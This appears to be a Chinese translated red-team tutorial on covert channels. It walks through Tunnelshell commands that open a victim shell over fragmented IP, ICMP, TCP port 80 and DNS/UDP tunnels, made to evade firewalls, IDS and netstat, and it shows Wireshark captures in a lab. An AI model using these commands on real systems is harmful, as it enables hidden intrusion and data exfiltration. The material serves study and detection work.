隐蔽信道:隐形网络
- 发表于
- 周边
通常来说,攻击者会使用隐藏的网络来绕过防火墙和IDS的检测。在这篇文章中,你将会学习到如何通过无法检测的网络通信从目标主机中获取信息。这种类型的网络也被称为隐蔽信道,对于任何的监控设备/应用或者是网络管理员来说,这种流量就像正常的流量一样。我们可以认为它是一种隐写术,但又不完全是隐写术。两个终端用户可以使用隐蔽通道来进行通信,网络管理员无法检测到。
红队成员在执行红队任务时,通常在一个合法的网络中使用隐蔽信道来进行数据传输,传输数据是在两个终端之间秘密共享数据的过程。
什么是隐蔽信道?
Covert这个单词的意思就是“隐藏的,无法检测的”,信道是一种通信模式,因此隐蔽信道表示的就是无法检测的网络通信。通过秘密信道传输的流量,管理员是无法检测到的。了解加密通信和隐蔽通信的区别十分重要。在隐蔽通信中,数据流是由未授权的第三方篡改的,而在加密通信中,它是不会隐藏两个终端间存在加密通信这个事实的。
隐蔽信道类型
存储隐蔽信道:通过修改“存储位置”进行通信,这将允许一个进程直接或间接写入存储位置,而且允许另外一个进程直接或间接读取存储位置。
定时隐蔽信道:执行操作,影响接收器“观察到的实时响应时间”。
注意:众所周知的spectre和meltdown使用的是系统的页面缓存作为他们的隐蔽信道进行泄露数据的。
几乎任何协议都是可以用来进行隐蔽通信。不过,绝大多数的隐蔽信道研究都是基于第三层(网络层)和第四层(传输层)的,如ICMP,IP和TCP协议。7层协议(应用层)如HTTP和DNS协议偶尔也会使用。这种机制传输信息是不会触发网络防火墙和IDS警报的,而且netstat也检测不到。
什么是tunnelshell
Tunnelshell是一个用C语言编写的程序,适用于Linux用户,是以客户端-服务端的模式工作的。服务端打开一个/bin/sh shell,客户端可以通过虚拟隧道进行访问。它适用于多种协议,包括TCP,UDP,ICMP和RawIP。而且数据包还可以进行分段来绕过防火墙和IDS。
下面我们来实际操作一下,了解更多细节。
环境要求
- 服务器端(kali Linux IP:10.10.10.1)
- 客户端(Ubuntu18.04 IP:10.10.10.2 )
- 隐蔽通信工具(Tunnelshell),下载地址https://packetstormsecurity.com/search/files/?q=Tunnelshell
这里我假设我们已经通过C2服务器获取了受害者主机的会话。现在,我们需要创建一个隐蔽通信信道来进行数据传输。因此,要在客户端和服务端同时安装上tunnelshell。
服务端下载好后,解压文件并进行编译,如下所示:
1 |
tar xvfz tunnelshell_2.3.tgzMake |
同样地,客户端执行相同的操作,完成之后,在终端中执行下列命令,为服务端(攻击者)开启一个通信信道
1 |
sudo ./tunneld |
默认情况下,它会发送分段数据包,然后在所有分段到达服务器后重新组合,以此来绕过防火墙和IDS。
现在要通过tunnelshell进行连接,我们要在服务端(攻击者主机)执行下列命令,这将会建立一个隐蔽信道来进行数据传输。
语法:
1 |
./tunnel -i <session id (0-65535)> -d <delay in sending packets> -s <packet size> -t <tunnel type> -o <protocol> -p <port> -m <ICMP query> -a <ppp interface> <Victim’s IP> |
1 |
./tunnel -t frag 10.10.10.2 |
frag:使用IPv4分段数据包进行封装数据。当路由器和防火墙(如思科路由器)接收到第4层没有headers的分段数据包时,即使他们有拒绝规则,但还是会允许通过。通过下图,你可以看到它成功连接到了10.10.10.2,我们获得了受害者主机的shell,如图:
前面说过,如果使用netstat命令来检查网络状态,你看不到任何有关tunnelshell的进程ID。不过,通过ps命令是能够看到进程信息的,然后再通过netstat命令查看它的进程ID,如下图:
1 |
ps |grep .tunneldnetstat –ano |
我们用wireshark抓包来看一下10.10.10.1(攻击者IP)和10.10.10.2(靶机IP)之间的网络流量,如下图,两个终端之间的数据流看起来是正常的,但是如果进行正确的监控的话,网络管理员是可以嗅探到数据包的。下图中可以观察到wireshark捕获了隐蔽的流量并且嗅探到了两个终端设备之间传输的数据
隐蔽的ICMP信道
我们知道ping命令使用的是ICMP通信,也就是使用ICMP echo请求和ICMP echo回应查询在两台主机之间建立连接的,因此,我们可以执行下列命令:
1 |
sudo ./tunneld -t icmp -m echo-reply, echo |
现在要通过tunnelshell建立连接,我们需要在服务端执行下列命令,这可以建立一个隐蔽信道来进行数据传输;
1 |
./tunnel -t icmp -m echo-reply,echo 10.10.10.2 |
可以看到,它成功的连接到10.10.10.2,而且攻击者已经能够访问靶机的shell了。
同样,如果使用wireshark抓包的话,还是能够看到ICMP echo请求和回应包在两个终端之间传输。如果继续对这些数据包进行分析的话,就能够看到ICMP数据包传输的payload是什么了,如图:
隐蔽的HTTP信道
它会建立一个虚拟的TCP连接而不用进行三次握手。它不会绑定任何端口,所以你可以使用一个已经被其他进程使用的端口,所以,我们可以执行下列命令:
1 |
sudo ./tunneld -t tcp -p 80,2000 |
现在,要通过tunnelshell建立连接,我们需要在服务端执行下列命令,执行完之后,就会建立一个隐蔽信道进行数据传输
1 |
./tunnel -t tcp -p 80,2000 10.10.10.2 |
从图中可以看到,已经成功连接到10.10.10.2,攻击者可以访问靶机的shell
同样地,进行wireshark抓包,可以看到在源和目标之间建立了没有三次握手的TCP连接,如图:
隐蔽的DNS信道
要建立DNS隐蔽信道,我们需要在两台主机上同时运行UDP隧道模式。所以,我们在靶机上执行下列命令:
1 |
sudo ./tunneld -t udp -p 53,2000 |
同样地,在攻击机上执行下列命令进行隧道连接
1 |
./tunnel -t udp -p 53,2000 10.10.10.2 |
抓包分析,可以看到畸形分组的DNS数据包包含了两个终端之间传递的数据,如图:
隐蔽信道在数据传输时并不会发送加密的数据包,因此它很容易进行嗅探,网络管理员可以很轻易地执行数据损失和风险管理。
原文连接
的情况下转载,若非则不得使用我方内容。